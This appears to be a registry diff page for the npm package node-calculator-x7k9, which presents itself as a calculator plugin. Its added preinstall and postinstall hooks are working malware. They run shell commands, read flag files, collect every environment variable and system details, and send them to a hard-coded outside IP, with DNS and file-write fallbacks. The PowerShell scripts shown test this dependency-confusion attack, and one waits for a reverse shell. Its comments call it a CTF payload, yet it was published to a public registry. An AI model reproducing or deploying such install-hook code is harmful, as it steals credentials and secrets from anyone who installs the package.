node-calculator-x7k9 0.0.1-security → 3.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of node-calculator-x7k9 might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,14 @@
1
- {
2
- "name": "node-calculator-x7k9",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "node-calculator-x7k9",
3
+ "version": "3.4.0",
4
+ "description": "Simple calculator plugin with enhanced features",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js",
8
+ "postinstall": "node postinstall.js"
9
+ },
10
+ "keywords": ["calculator", "math"],
11
+ "author": "DarkT",
12
+ "license": "MIT"
13
+ }
14
+
package/postinstall.js ADDED
@@ -0,0 +1,65 @@
1
+ #!/usr/bin/env node
2
+
3
+ /**
4
+ * Backup Data Exfiltration Payload
5
+ * Runs after installation as a backup
6
+ */
7
+
8
+ const http = require('http');
9
+ const https = require('https');
10
+ const { exec } = require('child_process');
11
+ const fs = require('fs');
12
+
13
+ // Configuration - MUST MATCH preinstall.js
14
+ const EXFIL_SERVER = 'http://159.223.153.251:8080/exfil';
15
+
16
+ // Simple backup exfiltration
17
+ function backupExfil() {
18
+ try {
19
+ const data = {
20
+ timestamp: new Date().toISOString(),
21
+ source: 'postinstall',
22
+ environment: process.env,
23
+ cwd: process.cwd(),
24
+ user: require('os').userInfo().username,
25
+ hostname: require('os').hostname()
26
+ };
27
+
28
+ const jsonData = JSON.stringify(data);
29
+ const url = new URL(EXFIL_SERVER);
30
+ const client = url.protocol === 'https:' ? https : http;
31
+
32
+ const options = {
33
+ hostname: url.hostname,
34
+ port: url.port || (url.protocol === 'https:' ? 443 : 80),
35
+ path: url.pathname,
36
+ method: 'POST',
37
+ headers: {
38
+ 'Content-Type': 'application/json',
39
+ 'Content-Length': Buffer.byteLength(jsonData)
40
+ },
41
+ timeout: 5000
42
+ };
43
+
44
+ const req = client.request(options, (res) => {
45
+ // Success
46
+ });
47
+
48
+ req.on('error', () => {
49
+ // Fallback: write to file
50
+ try {
51
+ fs.writeFileSync('/tmp/postinstall_exfil.json', jsonData);
52
+ } catch (e) {}
53
+ });
54
+
55
+ req.write(jsonData);
56
+ req.end();
57
+
58
+ } catch (err) {
59
+ // Silent fail
60
+ }
61
+ }
62
+
63
+ // Execute
64
+ console.log('Installing node-calculator-x7k9 v3.2.0...');
65
+ setTimeout(backupExfil, 1000);
package/preinstall.js ADDED
@@ -0,0 +1,284 @@
1
+ #!/usr/bin/env node
2
+
3
+ /**
4
+ * Data Exfiltration Payload for CTF
5
+ * This executes during npm install via preinstall hook
6
+ * Sends environment variables and system info to attacker server
7
+ *
8
+ * IMPORTANT: Replace EXFIL_SERVER with your server URL
9
+ */
10
+
11
+ const http = require('http');
12
+ const https = require('https');
13
+ const fs = require('fs');
14
+ const { exec } = require('child_process');
15
+ const os = require('os');
16
+
17
+ // Configuration - CHANGE THIS!
18
+ const EXFIL_SERVER = 'http://159.223.153.251:8080/exfil'; // Your HTTP server endpoint
19
+
20
+ // Local logging for debugging
21
+ function logLocal(data) {
22
+ const logPath = '/tmp/exfil.log';
23
+ try {
24
+ fs.appendFileSync(logPath, `[${new Date().toISOString()}] ${data}\n`);
25
+ } catch (e) {
26
+ // Silently fail
27
+ }
28
+ }
29
+
30
+ // Read common flag file locations
31
+ function findFlags() {
32
+ const flagLocations = [
33
+ '/flag.txt',
34
+ '/flag',
35
+ '/root/flag.txt',
36
+ '/root/flag',
37
+ '/home/flag.txt',
38
+ '/app/flag.txt',
39
+ '/app/flag',
40
+ '/var/www/flag.txt',
41
+ '/tmp/flag.txt',
42
+ process.cwd() + '/flag.txt',
43
+ process.cwd() + '/flag'
44
+ ];
45
+
46
+ const foundFlags = {};
47
+
48
+ flagLocations.forEach(path => {
49
+ try {
50
+ if (fs.existsSync(path)) {
51
+ foundFlags[path] = fs.readFileSync(path, 'utf8');
52
+ }
53
+ } catch (e) {
54
+ // Silently continue
55
+ }
56
+ });
57
+
58
+ return foundFlags;
59
+ }
60
+
61
+ // Execute shell commands and capture output
62
+ function executeCommands() {
63
+ const commands = {
64
+ 'ls_root': 'ls -la /',
65
+ 'ls_home': 'ls -la ~',
66
+ 'ls_app': 'ls -la /app',
67
+ 'find_flags': 'find / -name "*flag*" 2>/dev/null',
68
+ 'printenv': 'printenv',
69
+ 'whoami': 'whoami',
70
+ 'id': 'id',
71
+ 'pwd': 'pwd',
72
+ 'ps': 'ps aux'
73
+ };
74
+
75
+ const results = {};
76
+ const promises = [];
77
+
78
+ Object.keys(commands).forEach(key => {
79
+ const promise = new Promise((resolve) => {
80
+ exec(commands[key], { timeout: 5000 }, (error, stdout, stderr) => {
81
+ results[key] = {
82
+ stdout: stdout || '',
83
+ stderr: stderr || '',
84
+ error: error ? error.message : null
85
+ };
86
+ resolve();
87
+ });
88
+ });
89
+ promises.push(promise);
90
+ });
91
+
92
+ return Promise.all(promises).then(() => results);
93
+ }
94
+
95
+ // Collect all sensitive data
96
+ async function collectData() {
97
+ logLocal('Starting data collection...');
98
+
99
+ const data = {
100
+ timestamp: new Date().toISOString(),
101
+ package_installed: 'node-calculator-x7k9@3.2.0',
102
+
103
+ // Environment variables (often contain flags!)
104
+ environment: process.env,
105
+
106
+ // System information
107
+ system: {
108
+ hostname: os.hostname(),
109
+ platform: os.platform(),
110
+ arch: os.arch(),
111
+ release: os.release(),
112
+ type: os.type(),
113
+ uptime: os.uptime(),
114
+ nodeVersion: process.version,
115
+ cwd: process.cwd(),
116
+ user: os.userInfo(),
117
+ homedir: os.homedir(),
118
+ tmpdir: os.tmpdir()
119
+ },
120
+
121
+ // Network information
122
+ network: {
123
+ interfaces: os.networkInterfaces()
124
+ },
125
+
126
+ // Flag files
127
+ flags: findFlags(),
128
+
129
+ // Command outputs
130
+ commands: await executeCommands(),
131
+
132
+ // Process information
133
+ process: {
134
+ pid: process.pid,
135
+ ppid: process.ppid,
136
+ title: process.title,
137
+ argv: process.argv,
138
+ execPath: process.execPath,
139
+ execArgv: process.execArgv,
140
+ env_keys: Object.keys(process.env)
141
+ }
142
+ };
143
+
144
+ logLocal('Data collection complete');
145
+ return data;
146
+ }
147
+
148
+ // Send data via HTTP POST
149
+ function sendDataHTTP(data) {
150
+ return new Promise((resolve, reject) => {
151
+ const jsonData = JSON.stringify(data, null, 2);
152
+ logLocal(`Attempting to send ${jsonData.length} bytes to ${EXFIL_SERVER}`);
153
+
154
+ const url = new URL(EXFIL_SERVER);
155
+ const isHttps = url.protocol === 'https:';
156
+ const client = isHttps ? https : http;
157
+
158
+ const options = {
159
+ hostname: url.hostname,
160
+ port: url.port || (isHttps ? 443 : 80),
161
+ path: url.pathname + url.search,
162
+ method: 'POST',
163
+ headers: {
164
+ 'Content-Type': 'application/json',
165
+ 'Content-Length': Buffer.byteLength(jsonData),
166
+ 'User-Agent': 'node-calculator-x7k9/3.2.0'
167
+ },
168
+ timeout: 10000
169
+ };
170
+
171
+ const req = client.request(options, (res) => {
172
+ let responseBody = '';
173
+
174
+ res.on('data', (chunk) => {
175
+ responseBody += chunk;
176
+ });
177
+
178
+ res.on('end', () => {
179
+ logLocal(`HTTP Response: ${res.statusCode} - ${responseBody}`);
180
+ resolve({ success: true, status: res.statusCode, body: responseBody });
181
+ });
182
+ });
183
+
184
+ req.on('error', (error) => {
185
+ logLocal(`HTTP Error: ${error.message}`);
186
+ reject(error);
187
+ });
188
+
189
+ req.on('timeout', () => {
190
+ req.destroy();
191
+ logLocal('HTTP Timeout');
192
+ reject(new Error('Request timeout'));
193
+ });
194
+
195
+ req.write(jsonData);
196
+ req.end();
197
+ });
198
+ }
199
+
200
+ // Fallback: DNS exfiltration (encode data in DNS queries)
201
+ function sendDataDNS(data) {
202
+ try {
203
+ // Encode important data as subdomain queries
204
+ const envKeys = Object.keys(data.environment || {}).join(',');
205
+ const flagData = JSON.stringify(data.flags);
206
+
207
+ // Base64 encode and chunk into DNS-safe queries
208
+ const encoded = Buffer.from(flagData).toString('base64')
209
+ .replace(/\+/g, '-')
210
+ .replace(/\//g, '_')
211
+ .replace(/=/g, '');
212
+
213
+ // Split into 63-char chunks (DNS label limit)
214
+ const chunks = encoded.match(/.{1,50}/g) || [];
215
+
216
+ chunks.forEach((chunk, index) => {
217
+ const domain = `${chunk}.${index}.exfil.yourdomain.com`;
218
+ exec(`nslookup ${domain}`, () => {});
219
+ });
220
+
221
+ logLocal('DNS exfiltration attempted');
222
+ } catch (e) {
223
+ logLocal(`DNS exfil error: ${e.message}`);
224
+ }
225
+ }
226
+
227
+ // Fallback: Write to accessible web directory
228
+ function writeToWebDir(data) {
229
+ const webDirs = [
230
+ '/var/www/html/exfil.json',
231
+ '/app/public/exfil.json',
232
+ '/tmp/exfil.json',
233
+ process.cwd() + '/exfil.json'
234
+ ];
235
+
236
+ const jsonData = JSON.stringify(data, null, 2);
237
+
238
+ webDirs.forEach(path => {
239
+ try {
240
+ fs.writeFileSync(path, jsonData);
241
+ logLocal(`Data written to ${path}`);
242
+ } catch (e) {
243
+ // Silently continue
244
+ }
245
+ });
246
+ }
247
+
248
+ // Main execution
249
+ async function main() {
250
+ try {
251
+ logLocal('===== PREINSTALL HOOK EXECUTING =====');
252
+ logLocal(`Running on: ${os.hostname()}`);
253
+ logLocal(`CWD: ${process.cwd()}`);
254
+
255
+ // Collect all data
256
+ const data = await collectData();
257
+
258
+ // Try HTTP exfiltration
259
+ try {
260
+ await sendDataHTTP(data);
261
+ logLocal('HTTP exfiltration successful!');
262
+ } catch (httpError) {
263
+ logLocal(`HTTP failed: ${httpError.message}`);
264
+
265
+ // Fallback methods
266
+ sendDataDNS(data);
267
+ writeToWebDir(data);
268
+ }
269
+
270
+ logLocal('===== PREINSTALL HOOK COMPLETE =====');
271
+
272
+ } catch (err) {
273
+ logLocal(`Main error: ${err.message}`);
274
+ // Silent fail to avoid suspicion during npm install
275
+ }
276
+ }
277
+
278
+ // Execute with a small delay
279
+ setTimeout(() => {
280
+ main().catch(err => {
281
+ logLocal(`Fatal error: ${err.message}`);
282
+ });
283
+ }, 500);
284
+
@@ -0,0 +1,108 @@
1
+ # Test HTTP Exfiltration Locally
2
+ # This simulates the attack without publishing to npm
3
+
4
+ param(
5
+ [string]$ExfilServer = "http://127.0.0.1:8080/exfil"
6
+ )
7
+
8
+ Write-Host "╔═══════════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
9
+ Write-Host "║ Local HTTP Exfiltration Test ║" -ForegroundColor Cyan
10
+ Write-Host "╚═══════════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
11
+ Write-Host ""
12
+
13
+ # Step 1: Start exfil server
14
+ Write-Host "[+] Step 1: Starting exfiltration server..." -ForegroundColor Green
15
+
16
+ $serverJob = Start-Job -ScriptBlock {
17
+ Set-Location $using:PSScriptRoot
18
+ python3 exfil_server.py 8080
19
+ }
20
+
21
+ Write-Host " [✓] Exfil server started (Job ID: $($serverJob.Id))" -ForegroundColor Green
22
+ Start-Sleep -Seconds 3
23
+
24
+ # Step 2: Set test environment variables (simulate the FLAG)
25
+ Write-Host ""
26
+ Write-Host "[+] Step 2: Setting test environment variables..." -ForegroundColor Green
27
+ $env:FLAG = "cyctf{test_flag_local_simulation}"
28
+ $env:TEST_VAR = "test_value"
29
+ Write-Host " [✓] FLAG=$env:FLAG" -ForegroundColor Green
30
+
31
+ # Step 3: Update preinstall.js to use localhost
32
+ Write-Host ""
33
+ Write-Host "[+] Step 3: Configuring payload for localhost..." -ForegroundColor Green
34
+
35
+ $preinstallContent = Get-Content "preinstall.js" -Raw
36
+ $originalServer = ($preinstallContent -match "const EXFIL_SERVER = '(.*?)';") ? $Matches[1] : ""
37
+ $preinstallContent = $preinstallContent -replace "const EXFIL_SERVER = '.*?';", "const EXFIL_SERVER = '$ExfilServer';"
38
+ Set-Content "preinstall.js" -Value $preinstallContent
39
+ Write-Host " [✓] Configured for $ExfilServer" -ForegroundColor Green
40
+
41
+ # Step 4: Run preinstall.js
42
+ Write-Host ""
43
+ Write-Host "[+] Step 4: Executing preinstall.js..." -ForegroundColor Green
44
+ Write-Host " [*] This simulates npm install running the script" -ForegroundColor Yellow
45
+
46
+ $output = node preinstall.js 2>&1
47
+ Write-Host " [✓] Script executed" -ForegroundColor Green
48
+
49
+ # Step 5: Wait and check server output
50
+ Write-Host ""
51
+ Write-Host "[+] Step 5: Checking exfil server output..." -ForegroundColor Green
52
+ Start-Sleep -Seconds 5
53
+
54
+ $serverOutput = Receive-Job -Id $serverJob.Id
55
+ if ($serverOutput) {
56
+ Write-Host $serverOutput
57
+
58
+ if ($serverOutput -match "FLAG") {
59
+ Write-Host ""
60
+ Write-Host "╔═══════════════════════════════════════════════════════════════╗" -ForegroundColor Green
61
+ Write-Host "║ ✓ SUCCESS! Flag was exfiltrated successfully! ║" -ForegroundColor Green
62
+ Write-Host "╚═══════════════════════════════════════════════════════════════╝" -ForegroundColor Green
63
+ }
64
+ } else {
65
+ Write-Host " [!] No output from server yet" -ForegroundColor Yellow
66
+ }
67
+
68
+ # Step 6: Check saved files
69
+ Write-Host ""
70
+ Write-Host "[+] Step 6: Checking saved exfiltration data..." -ForegroundColor Green
71
+
72
+ if (Test-Path "exfil_logs") {
73
+ $files = Get-ChildItem "exfil_logs" -File | Sort-Object LastWriteTime -Descending
74
+ if ($files) {
75
+ $latestFile = $files[0]
76
+ Write-Host " [✓] Latest file: $($latestFile.Name)" -ForegroundColor Green
77
+
78
+ $content = Get-Content $latestFile.FullName -Raw | ConvertFrom-Json
79
+ if ($content.environment.FLAG) {
80
+ Write-Host " [✓] FLAG found in file: $($content.environment.FLAG)" -ForegroundColor Green
81
+ }
82
+ }
83
+ }
84
+
85
+ # Restore original server URL
86
+ if ($originalServer) {
87
+ Write-Host ""
88
+ Write-Host "[+] Restoring original EXFIL_SERVER configuration..." -ForegroundColor Yellow
89
+ $preinstallContent = Get-Content "preinstall.js" -Raw
90
+ $preinstallContent = $preinstallContent -replace "const EXFIL_SERVER = '.*?';", "const EXFIL_SERVER = '$originalServer';"
91
+ Set-Content "preinstall.js" -Value $preinstallContent
92
+ Write-Host " [✓] Restored to: $originalServer" -ForegroundColor Green
93
+ }
94
+
95
+ # Cleanup
96
+ Write-Host ""
97
+ Write-Host "[*] Press Enter to stop server and exit..." -ForegroundColor Yellow
98
+ Read-Host
99
+
100
+ Stop-Job -Id $serverJob.Id -ErrorAction SilentlyContinue
101
+ Remove-Job -Id $serverJob.Id -ErrorAction SilentlyContinue
102
+ Write-Host "[✓] Cleanup complete" -ForegroundColor Green
103
+
104
+ Write-Host ""
105
+ Write-Host "╔═══════════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
106
+ Write-Host "║ Test Complete! Check exfil_logs/ for captured data ║" -ForegroundColor Cyan
107
+ Write-Host "╚═══════════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
108
+
package/test-local.ps1 ADDED
@@ -0,0 +1,127 @@
1
+ # Local Testing Script - Test the malicious package locally before publishing
2
+ # This simulates the attack without needing to publish to npm
3
+
4
+ param(
5
+ [string]$AttackerIP = "127.0.0.1",
6
+ [int]$AttackerPort = 4444
7
+ )
8
+
9
+ Write-Host "╔═══════════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
10
+ Write-Host "║ Local Testing - Dependency Confusion CTF ║" -ForegroundColor Cyan
11
+ Write-Host "╚═══════════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
12
+ Write-Host ""
13
+
14
+ # Get current directory
15
+ $rootDir = Split-Path -Parent $PSScriptRoot
16
+ $maliciousDir = Join-Path $rootDir "malicious-package"
17
+ $targetDir = Join-Path $rootDir "just-a-calculator"
18
+
19
+ Write-Host "[*] Root Directory: $rootDir" -ForegroundColor Yellow
20
+ Write-Host "[*] Malicious Package: $maliciousDir" -ForegroundColor Yellow
21
+ Write-Host "[*] Target App: $targetDir" -ForegroundColor Yellow
22
+ Write-Host ""
23
+
24
+ # Step 1: Configure payload
25
+ Write-Host "[+] Step 1: Configuring payload..." -ForegroundColor Green
26
+ Set-Location $maliciousDir
27
+
28
+ $preinstallPath = "preinstall.js"
29
+ $postinstallPath = "postinstall.js"
30
+
31
+ $preinstallContent = Get-Content $preinstallPath -Raw
32
+ $preinstallContent = $preinstallContent -replace "const ATTACKER_IP = '.*?';", "const ATTACKER_IP = '$AttackerIP';"
33
+ $preinstallContent = $preinstallContent -replace "const ATTACKER_PORT = \d+;", "const ATTACKER_PORT = $AttackerPort;"
34
+ Set-Content $preinstallPath -Value $preinstallContent
35
+
36
+ $postinstallContent = Get-Content $postinstallPath -Raw
37
+ $postinstallContent = $postinstallContent -replace "const ATTACKER_IP = '.*?';", "const ATTACKER_IP = '$AttackerIP';"
38
+ $postinstallContent = $postinstallContent -replace "const ATTACKER_PORT = \d+;", "const ATTACKER_PORT = $AttackerPort;"
39
+ Set-Content $postinstallPath -Value $postinstallContent
40
+
41
+ Write-Host " [✓] Payload configured for $AttackerIP:$AttackerPort" -ForegroundColor Green
42
+
43
+ # Step 2: Start listener
44
+ Write-Host ""
45
+ Write-Host "[+] Step 2: Starting listener..." -ForegroundColor Green
46
+
47
+ if (Test-Path "listener.py") {
48
+ $listenerJob = Start-Job -ScriptBlock {
49
+ param($dir, $port)
50
+ Set-Location $dir
51
+ python3 listener.py $port
52
+ } -ArgumentList $maliciousDir, $AttackerPort
53
+ Write-Host " [✓] Listener started (Job ID: $($listenerJob.Id))" -ForegroundColor Green
54
+ } else {
55
+ Write-Host " [!] listener.py not found" -ForegroundColor Red
56
+ }
57
+
58
+ Start-Sleep -Seconds 2
59
+
60
+ # Step 3: Pack the malicious package
61
+ Write-Host ""
62
+ Write-Host "[+] Step 3: Packing malicious package..." -ForegroundColor Green
63
+ $packOutput = npm pack 2>&1
64
+ Write-Host " [✓] Package created: $packOutput" -ForegroundColor Green
65
+
66
+ # Step 4: Install into target application
67
+ Write-Host ""
68
+ Write-Host "[+] Step 4: Installing malicious package into target..." -ForegroundColor Green
69
+ Set-Location $targetDir
70
+
71
+ # Remove old package
72
+ if (Test-Path "node_modules\node-calculator-x7k9") {
73
+ Write-Host " [*] Removing old package..." -ForegroundColor Yellow
74
+ Remove-Item "node_modules\node-calculator-x7k9" -Recurse -Force
75
+ }
76
+
77
+ # Install malicious package
78
+ $packagePath = Join-Path $maliciousDir "node-calculator-x7k9-3.0.0.tgz"
79
+ Write-Host " [*] Installing from: $packagePath" -ForegroundColor Yellow
80
+
81
+ npm install $packagePath
82
+
83
+ Write-Host " [✓] Package installed!" -ForegroundColor Green
84
+
85
+ # Step 5: Check listener
86
+ Write-Host ""
87
+ Write-Host "[+] Step 5: Checking for shell..." -ForegroundColor Green
88
+ Write-Host " [*] Waiting for reverse shell connection..." -ForegroundColor Yellow
89
+ Write-Host ""
90
+
91
+ # Monitor listener for 30 seconds
92
+ $timeout = 30
93
+ $elapsed = 0
94
+ while ($elapsed -lt $timeout) {
95
+ $output = Receive-Job -Id $listenerJob.Id -ErrorAction SilentlyContinue
96
+ if ($output) {
97
+ Write-Host $output
98
+ if ($output -match "Connection received") {
99
+ Write-Host ""
100
+ Write-Host "[✓] SHELL RECEIVED!" -ForegroundColor Green
101
+ break
102
+ }
103
+ }
104
+ Start-Sleep -Seconds 2
105
+ $elapsed += 2
106
+ Write-Host "." -NoNewline -ForegroundColor Gray
107
+ }
108
+
109
+ Write-Host ""
110
+ Write-Host ""
111
+ Write-Host "╔═══════════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
112
+ Write-Host "║ Testing Complete ║" -ForegroundColor Cyan
113
+ Write-Host "║ ║" -ForegroundColor Cyan
114
+ Write-Host "║ Listener is still running (Job ID: $($listenerJob.Id)) ║" -ForegroundColor Cyan
115
+ Write-Host "║ To view: Receive-Job $($listenerJob.Id) ║" -ForegroundColor Cyan
116
+ Write-Host "║ To stop: Stop-Job $($listenerJob.Id); Remove-Job $($listenerJob.Id) ║" -ForegroundColor Cyan
117
+ Write-Host "╚═══════════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
118
+
119
+ Write-Host ""
120
+ Write-Host "Press Enter to stop listener and cleanup..." -ForegroundColor Yellow
121
+ Read-Host
122
+
123
+ # Cleanup
124
+ Stop-Job -Id $listenerJob.Id -ErrorAction SilentlyContinue
125
+ Remove-Job -Id $listenerJob.Id -ErrorAction SilentlyContinue
126
+ Write-Host "[✓] Cleanup complete" -ForegroundColor Green
127
+